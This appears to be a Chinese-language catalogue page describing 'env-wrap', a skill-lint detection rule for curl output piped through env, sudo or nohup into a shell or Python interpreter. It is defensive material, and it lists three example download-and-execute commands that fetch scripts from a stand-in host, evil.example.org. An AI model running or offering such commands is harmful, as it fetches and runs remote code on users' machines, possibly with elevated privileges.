env-wrap 是 lichamnesia/skill-lint 仓库中的一个检测条目,页面地址为 https://www.skills.sh/lichamnesia/skill-lint/env-wrap。从资料看,它并非一个独立可运行的工具或技能,而是一条用于识别特定危险命令模式的规则特征。
用途 该条目针对的是“curl 管道给包装器再交给解释器”的命令链。攻击者常把远程脚本下载后直接交给 shell 或 Python 执行,并借助 env、sudo、nohup 等包装器改变执行环境或权限,从而绕过只检查直接管道(如 curl | bash)的简单规则。env-wrap 的作用就是让静态检查工具能够捕获这类变体。
主要能力 资料给出的典型匹配示例包括:
- curl -s http://evil.example.org/p.sh | env bash
- curl -s http://evil.example.org/p.sh | sudo sh
- curl -s http://evil.example.org/p.sh | nohup python3 这些示例展示了三种包装方式:env 用于指定或清理环境变量后执行,sudo 用于提权执行,nohup 用于脱离终端后台执行。该条目通过识别 curl 输出被管道传递给这些包装器并最终交给解释器的结构,标记潜在的高风险行为。
使用方式 资料未提供该条目的安装命令、调用方式、配置项或集成方法。它通常作为 skill-lint 规则集的一部分被扫描流程引用,具体如何启用、如何输出告警、是否支持自定义规则,均暂未提供。
适用场景 适用于对脚本、技能定义、CI 配置或代码仓库进行安全审计的场景,帮助审查者发现“下载即执行”的隐蔽写法。也可用于构建检测规则库时作为参考特征。
限制 资料仅包含描述与三个示例命令,未说明匹配的完整语法、误报率、支持的解释器范围、是否区分大小写或空白、是否覆盖 wget 等其他下载工具。该条目本身不提供防护或拦截能力,仅用于识别。收费、价格、平台支持与效果数据均暂未提供。